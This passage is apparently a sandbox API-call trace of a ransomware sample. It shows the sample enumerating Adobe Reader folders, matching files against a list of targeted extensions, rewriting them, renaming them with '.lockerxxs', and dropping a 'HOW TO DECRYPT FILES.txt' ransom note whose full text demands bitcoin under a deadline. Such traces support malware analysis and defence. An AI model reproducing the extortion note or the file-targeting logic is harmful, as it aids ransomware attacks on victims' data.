(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbx") returned 0 [0070.222] lstrlenA (lpString="*.qbx") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qba") returned 0 [0070.222] lstrlenA (lpString="*.qba") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qby") returned 0 [0070.222] lstrlenA (lpString="*.qby") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qbj") returned 0 [0070.222] lstrlenA (lpString="*.qbj") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.ofx") returned 0 [0070.222] lstrlenA (lpString="*.ofx") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.qif") returned 0 [0070.222] lstrlenA (lpString="*.qif") returned 5 [0070.222] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.mye") returned 0 [0070.222] lstrlenA (lpString="*.mye") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.mbox") returned 0 [0070.223] lstrlenA (lpString="*.mbox") returned 6 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.eml") returned 0 [0070.223] lstrlenA (lpString="*.eml") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.pst") returned 0 [0070.223] lstrlenA (lpString="*.pst") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.ost") returned 0 [0070.223] lstrlenA (lpString="*.ost") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.idx") returned 0 [0070.223] lstrlenA (lpString="*.idx") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.dbx") returned 0 [0070.223] lstrlenA (lpString="*.dbx") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.sql") returned 0 [0070.223] lstrlenA (lpString="*.sql") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.mdb") returned 0 [0070.223] lstrlenA (lpString="*.mdb") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.fdb") returned 0 [0070.223] lstrlenA (lpString="*.fdb") returned 5 [0070.223] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.wab") returned 0 [0070.224] lstrlenA (lpString="*.wab") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.dat") returned 0 [0070.224] lstrlenA (lpString="*.dat") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.txt") returned 0 [0070.224] lstrlenA (lpString="*.txt") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.jpeg") returned 0 [0070.224] lstrlenA (lpString="*.jpeg") returned 6 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.jpg") returned 0 [0070.224] lstrlenA (lpString="*.jpg") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.png") returned 0 [0070.224] lstrlenA (lpString="*.png") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.php") returned 0 [0070.224] lstrlenA (lpString="*.php") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.cs") returned 0 [0070.224] lstrlenA (lpString="*.cs") returned 4 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.cpp") returned 0 [0070.224] lstrlenA (lpString="*.cpp") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.rar") returned 0 [0070.224] lstrlenA (lpString="*.rar") returned 5 [0070.224] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.zip") returned 0 [0070.224] lstrlenA (lpString="*.zip") returned 5 [0070.225] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", pszSpec="*.html") returned 1 [0070.225] lstrlenA (lpString="*.html") returned 6 [0070.225] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" [0070.225] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" [0070.225] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html." [0070.225] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.lockerxxs" [0070.225] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.226] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10d39 [0070.226] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a50d20, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0070.226] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.226] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10d13, lpOverlapped=0x0) returned 1 [0070.229] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html") returned="license.html" [0070.230] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.230] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10d13, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10d13, lpOverlapped=0x0) returned 1 [0070.231] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.231] CloseHandle (hObject=0x94) returned 1 [0070.233] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html.lockerxxs")) returned 1 [0070.233] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.234] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.234] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SLV", cAlternateFileName="")) returned 1 [0070.234] lstrcmpA (lpString1=".", lpString2="SLV") returned -1 [0070.234] lstrcmpA (lpString1="..", lpString2="SLV") returned -1 [0070.234] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.234] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" [0070.234] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV") returned 57 [0070.234] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.235] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.235] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.235] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.235] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.235] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.236] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.236] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.236] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.236] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.236] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*.*") returned="*.*" [0070.236] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" [0070.236] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="" [0070.236] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt" [0070.236] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\how to decrypt files.txt")) returned 0xffffffff [0070.236] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.237] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.237] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.238] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.238] CloseHandle (hObject=0x94) returned 1 [0070.238] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini" [0070.238] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.ems") returned 0 [0070.238] lstrlenA (lpString="*.ems") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.db") returned 0 [0070.239] lstrlenA (lpString="*.db") returned 4 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.dbf") returned 0 [0070.239] lstrlenA (lpString="*.dbf") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.myox") returned 0 [0070.239] lstrlenA (lpString="*.myox") returned 6 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.myo") returned 0 [0070.239] lstrlenA (lpString="*.myo") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbw") returned 0 [0070.239] lstrlenA (lpString="*.qbw") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbb") returned 0 [0070.239] lstrlenA (lpString="*.qbb") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbm") returned 0 [0070.239] lstrlenA (lpString="*.qbm") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbo") returned 0 [0070.239] lstrlenA (lpString="*.qbo") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbx") returned 0 [0070.239] lstrlenA (lpString="*.qbx") returned 5 [0070.239] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qba") returned 0 [0070.240] lstrlenA (lpString="*.qba") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qby") returned 0 [0070.240] lstrlenA (lpString="*.qby") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qbj") returned 0 [0070.240] lstrlenA (lpString="*.qbj") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.ofx") returned 0 [0070.240] lstrlenA (lpString="*.ofx") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.qif") returned 0 [0070.240] lstrlenA (lpString="*.qif") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mye") returned 0 [0070.240] lstrlenA (lpString="*.mye") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mbox") returned 0 [0070.240] lstrlenA (lpString="*.mbox") returned 6 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.eml") returned 0 [0070.240] lstrlenA (lpString="*.eml") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.pst") returned 0 [0070.240] lstrlenA (lpString="*.pst") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.ost") returned 0 [0070.240] lstrlenA (lpString="*.ost") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.idx") returned 0 [0070.240] lstrlenA (lpString="*.idx") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.dbx") returned 0 [0070.240] lstrlenA (lpString="*.dbx") returned 5 [0070.240] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.sql") returned 0 [0070.240] lstrlenA (lpString="*.sql") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mdb") returned 0 [0070.241] lstrlenA (lpString="*.mdb") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.fdb") returned 0 [0070.241] lstrlenA (lpString="*.fdb") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.wab") returned 0 [0070.241] lstrlenA (lpString="*.wab") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.dat") returned 0 [0070.241] lstrlenA (lpString="*.dat") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.txt") returned 0 [0070.241] lstrlenA (lpString="*.txt") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.241] lstrlenA (lpString="*.jpeg") returned 6 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.jpg") returned 0 [0070.241] lstrlenA (lpString="*.jpg") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.png") returned 0 [0070.241] lstrlenA (lpString="*.png") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.php") returned 0 [0070.241] lstrlenA (lpString="*.php") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.cs") returned 0 [0070.241] lstrlenA (lpString="*.cs") returned 4 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.cpp") returned 0 [0070.241] lstrlenA (lpString="*.cpp") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.rar") returned 0 [0070.241] lstrlenA (lpString="*.rar") returned 5 [0070.241] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.zip") returned 0 [0070.242] lstrlenA (lpString="*.zip") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.html") returned 0 [0070.242] lstrlenA (lpString="*.html") returned 6 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.htm") returned 0 [0070.242] lstrlenA (lpString="*.htm") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.242] lstrlenA (lpString="*.xlsx") returned 6 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.xls") returned 0 [0070.242] lstrlenA (lpString="*.xls") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mp4") returned 0 [0070.242] lstrlenA (lpString="*.mp4") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.ppt") returned 0 [0070.242] lstrlenA (lpString="*.ppt") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.pptx") returned 0 [0070.242] lstrlenA (lpString="*.pptx") returned 6 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.doc") returned 0 [0070.242] lstrlenA (lpString="*.doc") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.dot") returned 0 [0070.242] lstrlenA (lpString="*.dot") returned 5 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.docx") returned 0 [0070.242] lstrlenA (lpString="*.docx") returned 6 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.7z") returned 0 [0070.242] lstrlenA (lpString="*.7z") returned 4 [0070.242] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.tar") returned 0 [0070.242] lstrlenA (lpString="*.tar") returned 5 [0070.242] PathMatchSpecA 